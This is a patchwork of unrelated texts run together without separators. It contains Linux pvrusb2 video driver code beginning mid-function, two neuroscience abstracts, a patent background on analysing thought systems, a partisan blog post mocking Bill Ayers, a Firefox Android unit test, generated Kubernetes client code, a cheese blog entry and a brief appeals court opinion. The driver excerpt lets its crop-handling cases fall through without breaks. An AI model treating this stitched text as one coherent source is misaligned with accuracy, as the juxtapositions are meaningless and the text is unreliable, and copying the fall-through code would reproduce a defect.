V4L2_BUF_TYPE_VIDEO_CAPTURE) { ret = -EINVAL; break; } ret = pvr2_hdw_get_cropcap(hdw, cap); cap->type = V4L2_BUF_TYPE_VIDEO_CAPTURE; /* paranoia */ break; } case VIDIOC_G_CROP: { struct v4l2_crop *crop = (struct v4l2_crop *)arg; int val = 0; if (crop->type != V4L2_BUF_TYPE_VIDEO_CAPTURE) { ret = -EINVAL; break; } ret = pvr2_ctrl_get_value( pvr2_hdw_get_ctrl_by_id(hdw, PVR2_CID_CROPL), &val); if (ret != 0) { ret = -EINVAL; break; } crop->c.left = val; ret = pvr2_ctrl_get_value( pvr2_hdw_get_ctrl_by_id(hdw, PVR2_CID_CROPT), &val); if (ret != 0) { ret = -EINVAL; break; } crop->c.top = val; ret = pvr2_ctrl_get_value( pvr2_hdw_get_ctrl_by_id(hdw, PVR2_CID_CROPW), &val); if (ret != 0) { ret = -EINVAL; break; } crop->c.width = val; ret = pvr2_ctrl_get_value( pvr2_hdw_get_ctrl_by_id(hdw, PVR2_CID_CROPH), &val); if (ret != 0) { ret = -EINVAL; break; } crop->c.height = val; } case VIDIOC_S_CROP: { struct v4l2_crop *crop = (struct v4l2_crop *)arg; struct v4l2_cropcap cap; if (crop->type != V4L2_BUF_TYPE_VIDEO_CAPTURE) { ret = -EINVAL; break; } cap.type = V4L2_BUF_TYPE_VIDEO_CAPTURE; ret = pvr2_ctrl_set_value( pvr2_hdw_get_ctrl_by_id(hdw, PVR2_CID_CROPL), crop->c.left); if (ret != 0) { ret = -EINVAL; break; } ret = pvr2_ctrl_set_value( pvr2_hdw_get_ctrl_by_id(hdw, PVR2_CID_CROPT), crop->c.top); if (ret != 0) { ret = -EINVAL; break; } ret = pvr2_ctrl_set_value( pvr2_hdw_get_ctrl_by_id(hdw, PVR2_CID_CROPW), crop->c.width); if (ret != 0) { ret = -EINVAL; break; } ret = pvr2_ctrl_set_value( pvr2_hdw_get_ctrl_by_id(hdw, PVR2_CID_CROPH), crop->c.height); if (ret != 0) { ret = -EINVAL; break; } } case VIDIOC_LOG_STATUS: { pvr2_hdw_trigger_module_log(hdw); ret = 0; break; } #ifdef CONFIG_VIDEO_ADV_DEBUG case VIDIOC_DBG_S_REGISTER: case VIDIOC_DBG_G_REGISTER: { u64 val; struct v4l2_dbg_register *req = (struct v4l2_dbg_register *)arg; if (cmd == VIDIOC_DBG_S_REGISTER) val = req->val; ret = pvr2_hdw_register_access( hdw, &req->match, req->reg, cmd == VIDIOC_DBG_S_REGISTER, &val); if (cmd == VIDIOC_DBG_G_REGISTER) req->val = val; break; } #endif default : ret = v4l_compat_translate_ioctl(file, cmd, arg, pvr2_v4l2_do_ioctl); } pvr2_hdw_commit_ctl(hdw); if (ret < 0) { if (pvrusb2_debug & PVR2_TRACE_V4LIOCTL) { pvr2_trace(PVR2_TRACE_V4LIOCTL, "pvr2_v4l2_do_ioctl failure, ret=%ld", ret); } else { if (pvrusb2_debug & PVR2_TRACE_V4LIOCTL) { pvr2_trace(PVR2_TRACE_V4LIOCTL, "pvr2_v4l2_do_ioctl failure, ret=%ld" " command was:", ret); v4l_print_ioctl(pvr2_hdw_get_driver_name(hdw), cmd); } } } else { pvr2_trace(PVR2_TRACE_V4LIOCTL, "pvr2_v4l2_do_ioctl complete, ret=%ld (0x%lx)", ret, ret); } return ret; } static void pvr2_v4l2_dev_destroy(struct pvr2_v4l2_dev *dip) { int num = dip->devbase.num; struct pvr2_hdw *hdw = dip->v4lp->channel.mc_head->hdw; enum pvr2_config cfg = dip->config; int v4l_type = dip->v4l_type; pvr2_hdw_v4l_store_minor_number(hdw,dip->minor_type,-1); /* Paranoia */ dip->v4lp = NULL; dip->stream = NULL; /* Actual deallocation happens later when all internal references are gone. */ video_unregister_device(&dip->devbase); printk(KERN_INFO "pvrusb2: unregistered device %s%u [%s]\n", get_v4l_name(v4l_type), num, pvr2_config_get_name(cfg)); } static void pvr2_v4l2_destroy_no_lock(struct pvr2_v4l2 *vp) { if (vp->dev_video) { pvr2_v4l2_dev_destroy(vp->dev_video); vp->dev_video = NULL; } if (vp->dev_radio) { pvr2_v4l2_dev_destroy(vp->dev_radio); vp->dev_radio = NULL; } pvr2_trace(PVR2_TRACE_STRUCT,"Destroying pvr2_v4l2 id=%p",vp); pvr2_channel_done(&vp->channel); kfree(vp); } static void pvr2_video_device_release(struct video_device *vdev) { struct pvr2_v4l2_dev *dev; dev = container_of(vdev,struct pvr2_v4l2_dev,devbase); kfree(dev); } static void pvr2_v4l2_internal_check(struct pvr2_channel *chp) { struct pvr2_v4l2 *vp; vp = container_of(chp,struct pvr2_v4l2,channel); if (!vp->channel.mc_head->disconnect_flag) return; if (vp->vfirst) return; pvr2_v4l2_destroy_no_lock(vp); } static long pvr2_v4l2_ioctl(struct file *file, unsigned int cmd, unsigned long arg) { return video_usercopy(file, cmd, arg, pvr2_v4l2_do_ioctl); } static int pvr2_v4l2_release(struct file *file) { struct pvr2_v4l2_fh *fhp = file->private_data; struct pvr2_v4l2 *vp = fhp->vhead; struct pvr2_hdw *hdw = fhp->channel.mc_head->hdw; pvr2_trace(PVR2_TRACE_OPEN_CLOSE,"pvr2_v4l2_release"); if (fhp->rhp) { struct pvr2_stream *sp; pvr2_hdw_set_streaming(hdw,0); sp = pvr2_ioread_get_stream(fhp->rhp); if (sp) pvr2_stream_set_callback(sp,NULL,NULL); pvr2_ioread_destroy(fhp->rhp); fhp->rhp = NULL; } v4l2_prio_close(&vp->prio, &fhp->prio); file->private_data = NULL; if (fhp->vnext) { fhp->vnext->vprev = fhp->vprev; } else { vp->vlast = fhp->vprev; } if (fhp->vprev) { fhp->vprev->vnext = fhp->vnext; } else { vp->vfirst = fhp->vnext; } fhp->vnext = NULL; fhp->vprev = NULL; fhp->vhead = NULL; pvr2_channel_done(&fhp->channel); pvr2_trace(PVR2_TRACE_STRUCT, "Destroying pvr_v4l2_fh id=%p",fhp); if (fhp->input_map) { kfree(fhp->input_map); fhp->input_map = NULL; } kfree(fhp); if (vp->channel.mc_head->disconnect_flag && !vp->vfirst) { pvr2_v4l2_destroy_no_lock(vp); } return 0; } static int pvr2_v4l2_open(struct file *file) { struct pvr2_v4l2_dev *dip; /* Our own context pointer */ struct pvr2_v4l2_fh *fhp; struct pvr2_v4l2 *vp; struct pvr2_hdw *hdw; unsigned int input_mask = 0; unsigned int input_cnt,idx; int ret = 0; dip = container_of(video_devdata(file),struct pvr2_v4l2_dev,devbase); vp = dip->v4lp; hdw = vp->channel.hdw; pvr2_trace(PVR2_TRACE_OPEN_CLOSE,"pvr2_v4l2_open"); if (!pvr2_hdw_dev_ok(hdw)) { pvr2_trace(PVR2_TRACE_OPEN_CLOSE, "pvr2_v4l2_open: hardware not ready"); return -EIO; } fhp = kzalloc(sizeof(*fhp),GFP_KERNEL); if (!fhp) { return -ENOMEM; } init_waitqueue_head(&fhp->wait_data); fhp->dev_info = dip; pvr2_trace(PVR2_TRACE_STRUCT,"Creating pvr_v4l2_fh id=%p",fhp); pvr2_channel_init(&fhp->channel,vp->channel.mc_head); if (dip->v4l_type == VFL_TYPE_RADIO) { /* Opening device as a radio, legal input selection subset is just the radio. */ input_mask = (1 << PVR2_CVAL_INPUT_RADIO); } else { /* Opening the main V4L device, legal input selection subset includes all analog inputs. */ input_mask = ((1 << PVR2_CVAL_INPUT_RADIO) | (1 << PVR2_CVAL_INPUT_TV) | (1 << PVR2_CVAL_INPUT_COMPOSITE) | (1 << PVR2_CVAL_INPUT_SVIDEO)); } ret = pvr2_channel_limit_inputs(&fhp->channel,input_mask); if (ret) { pvr2_channel_done(&fhp->channel); pvr2_trace(PVR2_TRACE_STRUCT, "Destroying pvr_v4l2_fh id=%p (input mask error)", fhp); kfree(fhp); return ret; } input_mask &= pvr2_hdw_get_input_available(hdw); input_cnt = 0; for (idx = 0; idx < (sizeof(input_mask) << 3); idx++) { if (input_mask & (1 << idx)) input_cnt++; } fhp->input_cnt = input_cnt; fhp->input_map = kzalloc(input_cnt,GFP_KERNEL); if (!fhp->input_map) { pvr2_channel_done(&fhp->channel); pvr2_trace(PVR2_TRACE_STRUCT, "Destroying pvr_v4l2_fh id=%p (input map failure)", fhp); kfree(fhp); return -ENOMEM; } input_cnt = 0; for (idx = 0; idx < (sizeof(input_mask) << 3); idx++) { if (!(input_mask & (1 << idx))) continue; fhp->input_map[input_cnt++] = idx; } fhp->vnext = NULL; fhp->vprev = vp->vlast; if (vp->vlast) { vp->vlast->vnext = fhp; } else { vp->vfirst = fhp; } vp->vlast = fhp; fhp->vhead = vp; fhp->file = file; file->private_data = fhp; v4l2_prio_open(&vp->prio,&fhp->prio); fhp->fw_mode_flag = pvr2_hdw_cpufw_get_enabled(hdw); return 0; } static void pvr2_v4l2_notify(struct pvr2_v4l2_fh *fhp) { wake_up(&fhp->wait_data); } static int pvr2_v4l2_iosetup(struct pvr2_v4l2_fh *fh) { int ret; struct pvr2_stream *sp; struct pvr2_hdw *hdw; if (fh->rhp) return 0; if (!fh->dev_info->stream) { /* No stream defined for this node. This means that we're not currently allowed to stream from this node. */ return -EPERM; } /* First read() attempt. Try to claim the stream and start it... */ if ((ret = pvr2_channel_claim_stream(&fh->channel, fh->dev_info->stream)) != 0) { /* Someone else must already have it */ return ret; } fh->rhp = pvr2_channel_create_mpeg_stream(fh->dev_info->stream); if (!fh->rhp) { pvr2_channel_claim_stream(&fh->channel,NULL); return -ENOMEM; } hdw = fh->channel.mc_head->hdw; sp = fh->dev_info->stream->stream; pvr2_stream_set_callback(sp,(pvr2_stream_callback)pvr2_v4l2_notify,fh); pvr2_hdw_set_stream_type(hdw,fh->dev_info->config); if ((ret = pvr2_hdw_set_streaming(hdw,!0)) < 0) return ret; return pvr2_ioread_set_enabled(fh->rhp,!0); } static ssize_t pvr2_v4l2_read(struct file *file, char __user *buff, size_t count, loff_t *ppos) { struct pvr2_v4l2_fh *fh = file->private_data; int ret; if (fh->fw_mode_flag) { struct pvr2_hdw *hdw = fh->channel.mc_head->hdw; char *tbuf; int c1,c2; int tcnt = 0; unsigned int offs = *ppos; tbuf = kmalloc(PAGE_SIZE,GFP_KERNEL); if (!tbuf) return -ENOMEM; while (count) { c1 = count; if (c1 > PAGE_SIZE) c1 = PAGE_SIZE; c2 = pvr2_hdw_cpufw_get(hdw,offs,tbuf,c1); if (c2 < 0) { tcnt = c2; break; } if (!c2) break; if (copy_to_user(buff,tbuf,c2)) { tcnt = -EFAULT; break; } offs += c2; tcnt += c2; buff += c2; count -= c2; *ppos += c2; } kfree(tbuf); return tcnt; } if (!fh->rhp) { ret = pvr2_v4l2_iosetup(fh); if (ret) { return ret; } } for (;;) { ret = pvr2_ioread_read(fh->rhp,buff,count); if (ret >= 0) break; if (ret != -EAGAIN) break; if (file->f_flags & O_NONBLOCK) break; /* Doing blocking I/O. Wait here. */ ret = wait_event_interruptible( fh->wait_data, pvr2_ioread_avail(fh->rhp) >= 0); if (ret < 0) break; } return ret; } static unsigned int pvr2_v4l2_poll(struct file *file, poll_table *wait) { unsigned int mask = 0; struct pvr2_v4l2_fh *fh = file->private_data; int ret; if (fh->fw_mode_flag) { mask |= POLLIN | POLLRDNORM; return mask; } if (!fh->rhp) { ret = pvr2_v4l2_iosetup(fh); if (ret) return POLLERR; } poll_wait(file,&fh->wait_data,wait); if (pvr2_ioread_avail(fh->rhp) >= 0) { mask |= POLLIN | POLLRDNORM; } return mask; } static const struct v4l2_file_operations vdev_fops = { .owner = THIS_MODULE, .open = pvr2_v4l2_open, .release = pvr2_v4l2_release, .read = pvr2_v4l2_read, .ioctl = pvr2_v4l2_ioctl, .poll = pvr2_v4l2_poll, }; static struct video_device vdev_template = { .fops = &vdev_fops, }; static void pvr2_v4l2_dev_init(struct pvr2_v4l2_dev *dip, struct pvr2_v4l2 *vp, int v4l_type) { int mindevnum; int unit_number; int *nr_ptr = NULL; dip->v4lp = vp; dip->v4l_type = v4l_type; switch (v4l_type) { case VFL_TYPE_GRABBER: dip->stream = &vp->channel.mc_head->video_stream; dip->config = pvr2_config_mpeg; dip->minor_type = pvr2_v4l_type_video; nr_ptr = video_nr; if (!dip->stream) { pr_err(KBUILD_MODNAME ": Failed to set up pvrusb2 v4l video dev" " due to missing stream instance\n"); return; } break; case VFL_TYPE_VBI: dip->config = pvr2_config_vbi; dip->minor_type = pvr2_v4l_type_vbi; nr_ptr = vbi_nr; break; case VFL_TYPE_RADIO: dip->stream = &vp->channel.mc_head->video_stream; dip->config = pvr2_config_mpeg; dip->minor_type = pvr2_v4l_type_radio; nr_ptr = radio_nr; break; default: /* Bail out (this should be impossible) */ pr_err(KBUILD_MODNAME ": Failed to set up pvrusb2 v4l dev" " due to unrecognized config\n"); return; } memcpy(&dip->devbase,&vdev_template,sizeof(vdev_template)); dip->devbase.release = pvr2_video_device_release; mindevnum = -1; unit_number = pvr2_hdw_get_unit_number(vp->channel.mc_head->hdw); if (nr_ptr && (unit_number >= 0) && (unit_number < PVR_NUM)) { mindevnum = nr_ptr[unit_number]; } if ((video_register_device(&dip->devbase, dip->v4l_type, mindevnum) < 0) && (video_register_device(&dip->devbase, dip->v4l_type, -1) < 0)) { pr_err(KBUILD_MODNAME ": Failed to register pvrusb2 v4l device\n"); } printk(KERN_INFO "pvrusb2: registered device %s%u [%s]\n", get_v4l_name(dip->v4l_type), dip->devbase.num, pvr2_config_get_name(dip->config)); pvr2_hdw_v4l_store_minor_number(vp->channel.mc_head->hdw, dip->minor_type,dip->devbase.minor); } struct pvr2_v4l2 *pvr2_v4l2_create(struct pvr2_context *mnp) { struct pvr2_v4l2 *vp; vp = kzalloc(sizeof(*vp),GFP_KERNEL); if (!vp) return vp; pvr2_channel_init(&vp->channel,mnp); pvr2_trace(PVR2_TRACE_STRUCT,"Creating pvr2_v4l2 id=%p",vp); vp->channel.check_func = pvr2_v4l2_internal_check; /* register streams */ vp->dev_video = kzalloc(sizeof(*vp->dev_video),GFP_KERNEL); if (!vp->dev_video) goto fail; pvr2_v4l2_dev_init(vp->dev_video,vp,VFL_TYPE_GRABBER); if (pvr2_hdw_get_input_available(vp->channel.mc_head->hdw) & (1 << PVR2_CVAL_INPUT_RADIO)) { vp->dev_radio = kzalloc(sizeof(*vp->dev_radio),GFP_KERNEL); if (!vp->dev_radio) goto fail; pvr2_v4l2_dev_init(vp->dev_radio,vp,VFL_TYPE_RADIO); } return vp; fail: pvr2_trace(PVR2_TRACE_STRUCT,"Failure creating pvr2_v4l2 id=%p",vp); pvr2_v4l2_destroy_no_lock(vp); return NULL; } /* Stuff for Emacs to see, in order to encourage consistent editing style: *** Local Variables: *** *** mode: c *** *** fill-column: 75 *** *** tab-width: 8 *** *** c-basic-offset: 8 *** *** End: *** */

Differential stimulatory effects of cannabinoids on VIP release and NO synthase activity in synaptosomal fractions from rat ileum. Cannabinoid-1 (CB1) and CB2 receptors are present on neurons of the enteric nervous system. Our aim was to study whether cannabinoid receptor activation is involved in the regulation of VIP release and NO synthesis in isolated fractions of nerve terminals from rat ileum. VIP was measured by RIA and NO synthesis was analyzed using a L-[3H]arginine assay. Anandamide stimulated VIP release (basal: 245.9+/-12.4pg/mg, 10(-6)M: 307.6+/-11.7pg/mg, [n=6, P<0.05], 10(-7)M: 367.0+/-26.1pg/mg, [n=6, P<0.01]). The cannabinoid receptor agonist WIN 55,212-2 had similar effects (basal: 250.5+/-37.4pg/mg, 10(-6)M: 320.9+/-34.7pg/mg; [n=4, P<0.05]). The stimulatory effect of anandamide was blocked by the selective CB2 receptor antagonist, SR144528 (10(-7)M) (anandamide 10(-6)M: 307.6+/-11.7pg/mg; +SR144528: 249.0+/-26.3pg/mg, [n=6, P<0.05]), whereas the selective CB1 receptor antagonist SR141716 A had no effect. NO synthesis was stimulated by anandamide ([fmol/mg/min] basal: 0.08+/-0.01, 10(-6)M: 0.16+/-0.03; 10(-7)M: 0.13+/-0.02, n=4, P<0.05) and WIN 55,212-2 ([fmol/mg/min] basal: 0.05+/-0.01, 10(-6)M: 0.1+/-0.02, n=4, P<0.05). The anandamide reuptake inhibitor, AM 404 increased basal NOS activity ([fmol/mg/min] control: 0.1+/-0.04, 10(-6)M: 0.28+/-0.08, n=7, P<0.05). The stimulatory effect of anandamide on NO synthase was not antagonized by antagonists at the CB1, CB2 or TRPV1 receptor, respectively. In conclusion, in enteric nerves anandamide stimulates VIP release by activation of a CB2 receptor specific pathway, while the stimulation of NO production suggests the existence of an additional type of cannabinoid receptor in the enteric nervous system.

1. Field of the Invention The present invention relates generally to a computer-based method and apparatus for analyzing a thought system of a subject which consists of at least one individual, based on various and ambiguous items perceived by the subject. More particularly, the present invention is concerned with techniques for retrieving or extracting at least one essential axis of thought system, i.e., at least one essential vector of dimension of the thought system, which is not observed even by the subject. 2. Description of the Related Art As is apparent from many experimental rules and results of experiments, a human consciousness includes a multidimensional and complicated thought system. More specifically described, the human thoughts usually, e.g., in a daily life, relate to various kinds of matters or items such as tasks, friends, families, schools, hobbies, money, past matters, future matters, and the like. Moreover, each of these items, e.g., a task is also concerned with many items such as management, perspective, profit-making, and the like, which items are complicatedly related with one another. In general, the human is likely to recognize these items in an unorganized form, rather than in an organized form. Particularly, the human may recognize these items such that these items are not completely independent from one another, but relate with one another by any specific factors. However, the human generally does not or cannot recognize these specific factors. Due to the above-mentioned ambiguous recognition of the relationship between the perceived items, the individual is prone to fail in appropriate organization of his or her idea upon deciding his or her way of performance, or upon arranging his or her thoughts. This drawback has been widely recognized by experiences. To overcome this drawback, these has been proposed to perform “Manual” method one of which will be described by way of example. Namely, an individual initially picks up items based on his or her perception, and then classifies these items into the appropriate number of groups in accordance with a predetermined standard such as an importance-basis standard, and a character-basis standard. Each of the obtained groups may further be classified or may be combined with another group or the other groups together, as needed, whereby the perceived items are organized into appropriate groups. The “Manual” method as described above, however, requires the predetermined standard prepared by the individual or others, for prosecution of the classification of the items, so that a results of the method is inevitably affected by the predetermined standard and the classification executed based on the predetermined standard, resulting in insufficient consequent of the method. In particular, there is known that an individual may recognize only a part of his or her thought system, and that the individual's thought system further includes subconscious thoughts which are ambiguously noted or are never recognized by the individuals. Accordingly, the “Manual” method merely allow the individual to classify the recognized items into the appropriate groups. That is, the method is merely provided for arranging the superficially recognized items, resulting in obtaining an insufficient result of the method. Further, when the obtained perceived items have the relatively large number, while being complicatedly correlated with one another, the manual classification of the perceived items on the basis of the predetermined standard is extremely cumbersome and difficult. Thus, this “Manual” method does not work practically to analyze or arrange the items of the individual's thought system. In recent years, there has been developed a multivariate analysis as one of statistical methods for clarifying scientific phenomenon in which a large number of elements are complicatedly correlated with each other, and the application of this multivariate analysis to various kinds of fields has been considered. One example of the application of this multivariate analysis is disclosed in U.S. Pat. No. 4,839,853, wherein the multivariate analysis is used to classify various kinds of documents. The classification of the documents such as books is extremely complicated and difficult, if the contents of the documents are in great variety, leading to a failure in the classification. Therefore, a singular value decomposition, a kind of the multivariate analysis, is performed to analyze the documents based on a data of relationship information between titles of documents and a set of words occurring in more than one title, to thereby obtain a positional data of each of the documents which represent the position of the document on a virtual space. Thus, the documents are displayed in the virtual space according to the obtained positional data, permitting visual recognition of the relationship between the documents, and permitting objective classification of the documents based on this visual recognition. There has been considered to apply the above-described singular value decomposition to analyze the human thought system which is complicated as described above. However, the conventional singular value decomposition requires two kinds of sets of variables which are clearly distinguishable from each other, e.g., a set of document titles and a set of words occurring in more than one title, as in the above-indicated example. With the two mutually distinguishable set of variables, a matrix is generated so that the analysis is desirably performed on the generated matrix. However, the human thought system may includes perceived items which are ambiguously correlated with each other and are accordingly considered as variables belonging to a single group. Since the conventional singular value decomposition requires clearly distinguishable two kinds of groups of items as described above, the ambiguously-related items of the human thought system are not suitable for the conventional singular value decomposition and the application of the singular value decomposition on the analysis of the human thought system in impractical. Thus, the those skilled in the art would never motivate to apply the singular value decomposition to analyzing the human thought system.

And, he’s quick to add, so should every other president of the past century. A fun clip for many reasons. One: Because Ayers is such a far-left caricature, you can bait him all day long knowing to a virtual certainty what his responses will be. The two RCP guys can’t suppress their smirks at how easy it is. There’s a 99 percent chance that he’s going to call O a war criminal and a one percent chance that he’s going to betray his anti-war ethos by defending O’s drone policy out of pure personal loyalty. Either way, it’s news. Two: It’ll never stop being amusing watching leftists express their disappointment in Hopenchange. Obama skeptics had to endure a lot of self-congratulatory piety and messianism from the other side in 2008. Five years later, the faithful are split between those like Ayers who see O as having betrayed The Cause and all the Democrats who’ve contorted themselves into supporting things like NSA surveillance chiefly out of partisan allegiance. They still believe in Hopenchange, it’s just a … different Hopenchange, one which requires collecting Americans’ phone and Internet data. No more messiah, whichever camp you’re in. Three: The fact that Ayers is quick to mention O’s curiosity when asked what he likes about him is, knowingly or not, almost a goof on Jane Mayer and the liberal intelligentsia for giving Obama a pass on style points for his foreign-policy aggressiveness. As I said once before, it’s a straight line from David Brooks admiring the crease in O’s pants to Mayer et al. deciding that U.S. drones firing missiles at unknown people on the ground in Pakistan is kinda sorta okay because Obama’s smart, thoughtful, morally conflicted about all this, etc. He’s a well-educated, right-thinking liberal who has his stuff together. He’s a lot like them. They trust him. Ayers, at least, refuses to give O a pass on those grounds, although I leave it to you to judge from the clip how deeply troubled he is by Obama’s sins. (“I like him personally. I mean, he’s a really good guy.”) Four: Are we really watching a guy who got off scot-free for domestic terrorism, then crowed about it by declaring that he was “guilty as sin, free as a bird,” complain that someone else isn’t being sufficiently punished for terrorism? What? Anyway, slow news day. Click the image to watch.

/* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ package org.mozilla.fenix.crashes import androidx.navigation.NavController import androidx.navigation.NavDestination import io.mockk.every import io.mockk.mockk import io.mockk.verify import mozilla.components.browser.session.Session import mozilla.components.lib.crash.Crash import mozilla.components.support.test.ext.joinBlocking import org.junit.Before import org.junit.Test import org.mozilla.fenix.R import org.mozilla.fenix.components.Components import org.mozilla.fenix.components.metrics.Event import org.mozilla.fenix.utils.Settings class CrashReporterControllerTest { private lateinit var components: Components private lateinit var crash: Crash private lateinit var session: Session private lateinit var navContoller: NavController private lateinit var settings: Settings @Before fun setup() { components = mockk(relaxed = true) crash = mockk() session = mockk() navContoller = mockk(relaxed = true) settings = mockk() val currentDest: NavDestination = mockk() every { navContoller.currentDestination } returns currentDest every { currentDest.id } returns R.id.crashReporterFragment } @Test fun `reports crash reporter opened`() { CrashReporterController(crash, session, navContoller, components, settings) verify { components.analytics.metrics.track(Event.CrashReporterOpened) } } @Test fun `handle close and restore tab`() { val controller = CrashReporterController(crash, session, navContoller, components, settings) controller.handleCloseAndRestore(sendCrash = false)?.joinBlocking() verify { components.analytics.metrics.track(Event.CrashReporterClosed(false)) } verify { components.useCases.sessionUseCases.crashRecovery.invoke() } verify { navContoller.popBackStack() } } @Test fun `handle close and remove tab`() { val controller = CrashReporterController(crash, session, navContoller, components, settings) controller.handleCloseAndRemove(sendCrash = false)?.joinBlocking() verify { components.analytics.metrics.track(Event.CrashReporterClosed(false)) } verify { components.useCases.tabsUseCases.removeTab(session) } verify { components.useCases.sessionUseCases.crashRecovery.invoke() } verify { navContoller.navigate(CrashReporterFragmentDirections.actionGlobalHome(), null) } } @Test fun `don't submit report if setting is turned off`() { every { settings.isCrashReportingEnabled } returns false val controller = CrashReporterController(crash, session, navContoller, components, settings) controller.handleCloseAndRestore(sendCrash = true)?.joinBlocking() verify { components.analytics.metrics.track(Event.CrashReporterClosed(false)) } } @Test fun `submit report if setting is turned on`() { every { settings.isCrashReportingEnabled } returns true val controller = CrashReporterController(crash, session, navContoller, components, settings) controller.handleCloseAndRestore(sendCrash = true)?.joinBlocking() verify { components.analytics.crashReporter.submitReport(crash) } verify { components.analytics.metrics.track(Event.CrashReporterClosed(true)) } } }

/* Copyright The Kubernetes Authors. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // Code generated by client-gen. DO NOT EDIT. package v1alpha1 import ( v1alpha1 "k8s.io/api/rbac/v1alpha1" "k8s.io/client-go/kubernetes/scheme" rest "k8s.io/client-go/rest" ) type RbacV1alpha1Interface interface { RESTClient() rest.Interface ClusterRolesGetter ClusterRoleBindingsGetter RolesGetter RoleBindingsGetter } // RbacV1alpha1Client is used to interact with features provided by the rbac.authorization.k8s.io group. type RbacV1alpha1Client struct { restClient rest.Interface } func (c *RbacV1alpha1Client) ClusterRoles() ClusterRoleInterface { return newClusterRoles(c) } func (c *RbacV1alpha1Client) ClusterRoleBindings() ClusterRoleBindingInterface { return newClusterRoleBindings(c) } func (c *RbacV1alpha1Client) Roles(namespace string) RoleInterface { return newRoles(c, namespace) } func (c *RbacV1alpha1Client) RoleBindings(namespace string) RoleBindingInterface { return newRoleBindings(c, namespace) } // NewForConfig creates a new RbacV1alpha1Client for the given config. func NewForConfig(c *rest.Config) (*RbacV1alpha1Client, error) { config := *c if err := setConfigDefaults(&config); err != nil { return nil, err } client, err := rest.RESTClientFor(&config) if err != nil { return nil, err } return &RbacV1alpha1Client{client}, nil } // NewForConfigOrDie creates a new RbacV1alpha1Client for the given config and // panics if there is an error in the config. func NewForConfigOrDie(c *rest.Config) *RbacV1alpha1Client { client, err := NewForConfig(c) if err != nil { panic(err) } return client } // New creates a new RbacV1alpha1Client for the given RESTClient. func New(c rest.Interface) *RbacV1alpha1Client { return &RbacV1alpha1Client{c} } func setConfigDefaults(config *rest.Config) error { gv := v1alpha1.SchemeGroupVersion config.GroupVersion = &gv config.APIPath = "/apis" config.NegotiatedSerializer = scheme.Codecs.WithoutConversion() if config.UserAgent == "" { config.UserAgent = rest.DefaultKubernetesUserAgent() } return nil } // RESTClient returns a RESTClient that is used to communicate // with API server by this client implementation. func (c *RbacV1alpha1Client) RESTClient() rest.Interface { if c == nil { return nil } return c.restClient }

Effects of veratridine on single neuronal sodium channels expressed in Xenopus oocytes. (1) Chick neuronal Na+ channels were expressed in Xenopus laevis oocytes after injection with total messenger ribonucleic acid (mRNA) isolated from chick brain. The currents were investigated with the whole cell voltage clamp and with the patch clamp technique. Activation and inactivation of the induced current, and its sensitivity towards tetrodotoxin (TTX) and veratridine were reminiscent of vertebrate neuronal Na+ channels. (2) In the presence of veratridine normal single channel openings often converted into small amplitude openings of long duration. These small amplitude openings persisted for hundreds of milliseconds after return to the holding potential. (3) The slope conductance of the veratridine modified open channel state was 5-6 pS as compared to the normal state with 21-25 pS in the voltage range between -35 and +5 mV. (4) The modified channel showed saturation behaviour towards Na+ ions. Half saturation of the single channel amplitude was observed at 330 mM Na+ at a membrane potential of -100 mV. (5) Final closure of the modified channel after return to the holding potential followed an exponential time course. Its potential dependence was similar to that of the time course of the veratridine induced tail currents in the whole cell configuration. (6) The properties of the Na+ channel derived from chick forebrain are compared with the properties of the same channel derived from chick skeletal muscle. Both were expressed in the same membrane environment, the Xenopus oocyte plasma membrane. While earlier results with Na+ channels of muscle origin showed two channel populations, one with short and another with long mean open times, Na+ channels of neuronal origin were homogeneous and characterized by short open times.

I may be a carnivore to the core, but I’m also a cheese lover. Thus, over the last seven days I’ve been trying some of Natural and Kosher‘s latest selections. These included: Horseradish Cheddar, Olive Cheddar, Part Skim Mozzarella, Goat Kashkaval, Sharp Goat Cheddar, Goat Mozzarella with Red Peppers, Goat Mozzarella with Fine Herbs, Cranberry Pecan Chèvre Goat Cheese, Fine Herbs Chèvre, 2 types of American Slices, Cheddar Cubes, Mexican Blend (Shredded blend of Monterrey Jack, Cheddar and Asadero) and a superb FitucciGrated Parmesan Cheese. I found them all to be delicious choices. Feeling adventurous I decided to do a white omelette. SYR had been telling me about an omelette without yolks, made with only the egg whites. What’s the point you ask? A drastic reduction in calories and the elimination of almost all the cholesterol with no sacrifice of taste!

UNPUBLISHED UNITED STATES COURT OF APPEALS FOR THE FOURTH CIRCUIT No. 99-6747 NICHOLAS WARNER JONES, a/k/a Charles Jones, Plaintiff - Appellant, versus THOMAS R. CORCORAN, Warden; DENNIS DUSING; STEPHEN MACK; RICHARD A. LANHAM, SR.; LINWOOD PERKINS, Captain; SERGEANT BELT, Commanding Officer, III; E. SINGH, Commanding Officer, II; LIEUTENANT HICKS; OFFICER YELITIN, Com- manding Officer, II; OFFICER REECE, Commanding Officer, II; SERGEANT ROBINSON; OFFICER WHITT, Commanding Officer, II, Defendants - Appellees. Appeal from the United States District Court for the District of Maryland, at Baltimore. Benson E. Legg, District Judge. (CA-98- 2468) Submitted: July 22, 1999 Decided: July 27, 1999 Before ERVIN, HAMILTON, and TRAXLER, Circuit Judges. Affirmed by unpublished per curiam opinion. Nicholas Warner Jones, Appellant Pro Se. Angela Michelle Eaves, Assistant Attorney General, Baltimore, Maryland, for Appellees. Unpublished opinions are not binding precedent in this circuit. See Local Rule 36(c). PER CURIAM: Nicholas Warner Jones appeals the district court’s order granting Defendants’ motion for summary judgment and denying relief on his 42 U.S.C.A. § 1983 (West Supp. 1999) complaint. We have reviewed the record and the district’s opinion and find no revers- ible error. Accordingly, we affirm on the reasoning of the dis- trict court. See Jones v. Corcoran, No. CA-98-2468 (D. Md. May 24, 1999). We dispense with oral argument because the facts and legal contentions are adequately presented in the materials before the court and argument would not aid the decisional process. AFFIRMED 2 

